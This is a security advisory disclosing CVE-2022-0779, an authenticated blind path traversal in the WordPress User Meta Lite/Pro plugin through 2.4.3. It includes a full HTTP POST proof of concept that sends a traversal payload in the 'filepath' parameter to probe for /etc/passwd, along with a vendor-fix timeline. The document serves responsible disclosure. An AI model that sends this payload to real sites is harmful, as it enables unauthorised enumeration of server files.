WordPress User Meta Lite / Pro 2.4.3 Path Traversal

RCE Security Advisory
https://www.rcesecurity.com

1. ADVISORY INFORMATION
   =======================
   Product: User Meta
   Vendor URL: https://wordpress.org/plugins/user-meta
   Type: Relative Path Traversal [CWE-23]
   Date found: 2022-02-28
   Date published: 2022-05-24
   CVSSv3 Score: 4.3 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
   CVE: CVE-2022-0779

2. CREDITS
   ==========
   This vulnerability was discovered and researched by Julien Ahrens from
   RCE Security.

3. VERSIONS AFFECTED
   ====================
   User Meta Lite 2.4.3 and below
   User Meta Pro 2.4.3 and below

4. INTRODUCTION
   ===============
   An easy-to-use user profile and management plugin for WordPress that allows
   user login, reset-password, profile update and user registration with extra
   fields, all on front-end and many more. User Meta Pro is a versatile user
   profile builder and user management plugin for WordPress that has the most
   features on the market. User Meta aims to be your only go to plugin for
   user management.

(from the vendor’s homepage)

5. VULNERABILITY DETAILS
   ========================
   The WordPress ajax action “um_show_uploaded_file” is vulnerable to an
   authenticated path traversal when user-supplied input to the HTTP POST
   parameter “filepath” is processed by the web application. Since the application
   does not properly validate and sanitize this parameter, it is possible to
   enumerate local server files using a blind approach. This is because the
   application doesn’t return the contents of the referenced file but instead
   returns different form elements based on whether a file exists or not.

The following Proof-of-Concept triggers this vulnerability:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 147
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [your-wordpress-auth-cookies]
Connection: close

field_name=[your-field-name]&filepath=/…/…/…/…/…/etc/passwd&field_id=[your-field-id]&form_key=[your-form-key]&action=um_show_uploaded_file&pf_nonce=[your-auth-nonce]&is_ajax=true

6. RISK
   =======
   The vulnerability can be used by an authenticated attacker to enumerate
   local server files based on a blind approach.

7. SOLUTION
   ===========
   Update to User Meta/User Meta Pro 2.4.4

8. REPORT TIMELINE
   ==================
   2022-02-28: Discovery of the vulnerability
   2022-02-28: WPScan (CNA) assigns CVE-2022-0779
   2022-03-03: Contacted the vendor via their contact form
   2022-03-06: Vendor response, acknowledgement of the issue
   2022-03-18: Version 2.4.2 is released
   2022-03-22: Vulnerability is still exploitable since fix was applied only client-side. Contacted vendor again.
   2022-04-13: No response, contacted vendor again
   2022-04-18: Vendor added a new fix to version 2.4.3. Asked to retest.
   2022-04-19: Vulnerability is still exploitable due to a logic bug in the fix. Contacted vendor again.
   2022-04-29: Vendor asks whether another fix in version 2.4.4 is fine
   2022-05-16: Fix seems to work
   2022-05-24: Public disclosure

9. REFERENCES
   =============
   https://github.com/MrTuxracer/advisories